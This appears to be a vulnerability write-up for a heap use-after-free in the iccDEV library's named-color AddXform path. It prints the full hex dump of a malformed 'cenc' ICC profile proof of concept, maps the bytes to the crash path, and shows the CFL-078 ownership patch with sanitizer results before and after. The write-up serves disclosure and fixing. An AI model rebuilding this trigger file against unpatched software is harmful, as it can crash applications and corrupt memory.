Exploit Search, Reverse Engineering Data

Trigger Profile XXD

Full 728-byte dump of the PoC. Highlighted rows are the ones that matter for the UAF story: the cenc header, the invalid NULL PCS, the tiny private tag table, the oversized cept payload, and the trailing bytes past the declared size.

header trigger bytes tag table and cept payload rows that feed the invalid-profile exit

Offset

Hex

ASCII

Why It Matters

0x0000

00 00 02 D0 4E 55 4C 4C 00 05 00 00 63 65 6E 63

....NULL....cenc

declared size 0x02D0 vs actual 728, CMM='NULL', version 0.0.5, class='cenc'

0x0010

52 47 42 20 4E 55 4C 4C 00 00 00 00 00 00 00 00

RGB NULL........

data space RGB but PCS='NULL' which violates ICC.1 expectations for a non-DeviceLink profile

0x0020

00 00 00 00 61 63 73 70 00 50 00 00 00 00 00 00

....acsp.P......

acsp magic keeps loaders interested; platform bytes start drifting from normal ICC values

0x0030

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

................

0x0040

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

................

0x0050

4E 55 4C 4C 00 00 00 00 00 00 00 00 00 00 00 00

NULL............

creator='NULL' and header-reserved area leads into non-zero reserved byte at header offset 100

0x0060

00 00 00 00 6A 00 00 00 00 00 00 00 00 00 00 00

....j...........

0x64 carries 0x6A inside the reserved tail; analyzer flags header bytes 100-127 as non-zero

0x0070

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

................

0x0080

00 00 00 03 72 66 6E 6D 00 00 00 A8 00 00 00 14

....rfnm........

tag table has only 3 entries: rfnm, csnm, cept

0x0090

63 73 6E 6D 00 00 00 BC 00 00 00 10 63 65 70 74

csnm........cept

0x00A0

00 00 00 CC 00 00 02 04 75 74 66 38 00 00 00 00

........utf8....

rfnm body starts with utf8 and 'ISO 22028-1' then csnm starts immediately after

0x00B0

49 53 4F 20 32 32 30 32 38 2D 31 00 75 74 66 38

ISO 22028-1.utf8

0x00C0

00 00 00 00 62 67 2D 73 52 47 42 00 74 73 74 72

....bg-sRGB.tstr

csnm body is 'bg-sRGB'; cept starts at 0x00CC and owns most of the file

0x00D0

00 00 00 24 63 65 70 74 00 00 00 0F 72 58 59 5A

...$cept....rXYZ

cept is a tstr structure whose member list drives the cenc AddXform path

0x00E0

00 00 00 C4 00 00 00 14 67 58 59 5A 00 00 00 D8

........gXYZ....

0x00F0

00 00 00 14 62 58 59 5A 00 00 00 EC 00 00 00 14

....bXYZ........

0x0100

66 75 6E 63 00 00 01 00 00 00 00 70 77 6C 75 6D

func.......pwlum

nested cept members: func, pwlum, wXYZ, eRng, bits, imst, ibkg, srnd, ailm, mwpl, mwpc, mbpc

0x0110

00 00 01 70 00 00 00 0C 77 58 59 5A 00 00 01 7C

...p....wXYZ...|

0x0120

00 00 00 10 65 52 6E 67 00 00 01 8C 00 00 00 10

....eRng........

0x0130

62 69 74 73 00 00 01 9C 00 00 00 0B 69 6D 73 74

bits........imst

0x0140

00 00 01 A8 00 00 00 21 69 62 6B 67 00 00 01 B4

.......!ibkg....

0x0150

00 00 00 0C 73 72 6E 64 00 00 01 C0 00 00 00 0C

....srnd........

0x0160

61 69 6C 6D 00 00 01 CC 00 00 00 0C 6D 77 70 6C

ailm........mwpl

0x0170

00 00 01 D8 00 00 00 0C 6D 77 70 63 00 00 01 E4

........mwpc....

0x0180

00 00 00 10 6D 62 70 63 00 00 01 F4 00 00 00 10

....mbpc........

0x0190

66 6C 33 32 00 00 00 00 3F 23 D7 0A 3E A8 F5 C3

fl32....?#..>...

first float blocks and curve/mparam data for the cept payload

0x01A0

3C F5 C2 8F 66 6C 33 32 00 00 00 00 3E 99 99 9A

<...fl32....>...

0x01B0

3F 19 99 9A 3D CC CC CD 66 6C 33 32 00 00 00 00

?...=...fl32....

0x01C0

3E 19 99 9A 3D 75 C2 8F 3F 4A 3D 71 63 75 72 66

>...=u..?J=qcurf

0x01D0

00 00 00 00 00 03 00 00 BB 4D 2E 1C 3B 4D 2E 1C

.........M..;M..

0x01E0

70 61 72 66 00 00 00 00 00 03 00 00 3E D5 55 55

parf........>.UU

0x01F0

BF 87 0A 41 BF 80 00 00 00 00 00 00 00 00 00 00

...A............

0x0200

70 61 72 66 00 00 00 00 00 00 00 00 3F 80 00 00

parf........?...

0x0210

41 4E B8 52 00 00 00 00 00 00 00 00 70 61 72 66

AN.R........parf

0x0220

00 00 00 00 00 03 00 00 3E D5 55 55 3F 87 0A 3D

........>.UU?..=

0x0230

3F 80 00 00 00 00 00 00 00 00 00 00 66 6C 33 32

?...........fl32

0x0240

00 00 00 00 42 A0 00 00 66 6C 33 32 00 00 00 00

....B...fl32....

0x0250

3E A0 1A 37 3E A8 72 B0 66 6C 33 32 00 00 00 00

>..7>.r.fl32....

0x0260

BF 07 AE 14 3F D7 0A 3D 75 69 30 38 00 00 00 00

....?..=ui08....

ui08 + sig' + dorc fields close out the cept structure with more non-standard payload data

0x0270

0A 0C 10 00 73 69 67 27 00 00 00 00 64 6F 72 63

....sig'....dorc

0x0280

06 5E 00 00 00 00 00 00 66 6C 33 32 00 00 00 00

.^......fl32....

0x0290

41 80 00 00 66 6C 33 32 00 00 00 00 40 83 33 33

A...fl32....@.33

0x02A0

66 6C 33 32 00 00 00 00 42 80 00 00 66 6C 33 32

fl32....B...fl32

0x02B0

00 00 00 00 42 A0 00 00 66 6C 33 32 00 00 00 00

....B...fl32....

0x02C0

3E A0 1A 37 3E A8 72 B0 66 6C 33 32 00 00 00 00

>..7>.r.fl32....

tail bytes extend the file 8 bytes past the declared size, reinforcing the invalid-profile exit

0x02D0

3E A0 1A 37 3E A8 72 B0

>..7>.r.

Critical Header Bytes

The most important field is at 0x0C: 63 65 6E 63 = cenc. That class is what selects the color-encoding ownership path that CFL-078 guards.

Not A Normal ICC

The same header also advertises PCS='NULL', declares 720 bytes while the file is 728 bytes, and carries non-zero reserved header data. The file is supposed to fail validation.

Why The Tail Matters

cept consumes most of the file and the last 8 bytes sit past the declared size. Those bytes help drive the invalid-profile return, which is exactly where the old cleanup path touched stale ownership.

Derived cept Visuals

Parsed from colorEncodingParamsTag after XML conversion. This is not a rendered image preview. It is the small slice of the PoC that still decodes cleanly enough to visualize without inventing data for the malformed private members.

Whitepoint x=0.3127 y=0.3290

White Luminance 80.0 cd/m2

Encoding Range -0.53 to 1.68

Bit Depths 10 / 12 / 16

R 0.64 / 0.33 G 0.30 / 0.60 B 0.15 / 0.06 D65 0.3127 / 0.3290 bg-sRGB ISO 22028-1

Trigger Facts

PoC Filehuaf-CIccNamedColorCmm-AddXform-IccCmm_cpp-Line10564.icc

Trigger TooliccApplyNamedCmm

Actual Size728 bytes / 0x02D8

Declared Size720 bytes / 0x02D0

Headerclass=cenc, PCS=NULL

Tag Count3 tags: rfnm, csnm, cept

Patchcfl/patches/078-addxform-cenc-uaf-guard.patch

Patch Compare

The profile chooses the branch. The bug lives in cleanup. Before CFL-078, failure after the inner cenc path could reach a stale delete or detach on a profile that had already been consumed internally.

Byte To Code Map

Profile bytes	Why they matter	Patched effect
`0x0C-0x0F = cenc`	Marks the profile as a color-encoding class. Patch comments note that this class can transfer ownership inside the inner AddXform path.	guarded save `deviceClass` first, then skip caller-side delete for `icSigColorEncodingClass`.
`0x14-0x17 = NULL`	Invalid PCS keeps the profile on a failure path after the class-specific work has already happened.	rejected safely same bad PCS now returns an invalid-profile status instead of a UAF.
`0x00 size` and `0x02D0-0x02D7`	Declared size is 720 but the file is 728, which helps preserve the invalid-profile exit that exercises cleanup.	unchanged semantics patch does not accept the file; it only prevents cleanup on stale ownership.
`cept` payload at `0x00CC`	The large private payload is the bulk of the malformed color-encoding object that keeps AddXform from succeeding.	still invalid the payload remains invalid and still fails, but no longer crashes.

Crash Path

1. Open profile

The tool opens the PoC and sees deviceClass = cenc before any transform is built.

2. Enter inner AddXform

The cenc path is special: per CFL-078 comments, the inner creation path can delete or replace the original profile object.

3. Validation fails

The same profile also carries NULL PCS, size mismatch, private tags, and malformed cept content, so AddXform does not succeed.

4. Old cleanup was wrong

Pre-patch code still ran delete pProfile on the caller side, even though the cenc path had already taken ownership. That is the HUAF at IccCmm.cpp:10564.

CFL-078 Diff Focus

+ icProfileClassSignature savedClass = pProfile->m_Header.deviceClass;
 
 icStatusCMM rv = AddXform(pProfile, nIntent, nInterp, pPcc, nLutType,
                           bUseD2BxB2DxTags, pHintManager);
 
 if (rv != icCmmStatOk)
 if (rv != icCmmStatOk && savedClass != icSigColorEncodingClass)
   delete pProfile;

The same pattern was applied to four overloads in IccProfLib/IccCmm.cpp, including the named-color path that crashes in the issue report. The reference overload also guards CopyAttach(nullptr) so detached IO state is not touched after cenc ownership transfer.

Before And After

Build	Observed behavior
pre-patch	UBSAN reports an invalid vptr and ASAN reports heap-use-after-free in `CIccNamedColorCmm::AddXform()` at `IccCmm.cpp:10564`.
post-patch	The same PoC is still rejected, but the output is simply `Invalid Profile` and the stale cleanup path is skipped for cenc.

Source Stack

iccDEV issue #763 for the repro, crash site, and patched outcome.
cfl/patches/078-addxform-cenc-uaf-guard.patch for the actual ownership fix.
docs/iccDEV/Tools/iccApplyNamedCmm/README.md for tool invocation and intent 50 context.
docs/analysis/ICCANALYZER_CFL_PATCH_COVERAGE_MATRIX.csv for the repo-side CFL-078 classification.
docs/iccDEV/specifications/ICC.1-2022-05.pdf and ICC.2-2023.pdf for why this header is obviously malformed while still selecting a v5 color-encoding class.

Why This Works Better Than #700

Issue #700 is a config bug chain. Issue #763 is a compact profile-led trigger: the key branch selector is visible in the first 32 bytes, the entire file fits on one poster, and the post-patch outcome is easy to explain: the same file now exits as Invalid Profile instead of dying in cleanup at IccCmm.cpp:10564.

Analyzer Cross-Checks

H1: header size 720 does not match the 728-byte file.
H6 and CF-014: PCS is NULL instead of XYZ or Lab .
H40 and CF-015: reserved header bytes are non-zero.
H134: the cept tag carries non-zero reserved bytes.
CF-092 and CF-097: all three tags are private and undocumented.

Review Target

If you want this pushed further toward corkami style, the next move is a pure poster treatment with SVG leader lines from the cenc/NULL/cept bytes directly to the cleanup hunk, but the content model is now aligned to the real issue and patch.

One cenc header, one stale delete

Why These Bytes Matter

Trigger Profile XXD

Critical Header Bytes

Not A Normal ICC

Why The Tail Matters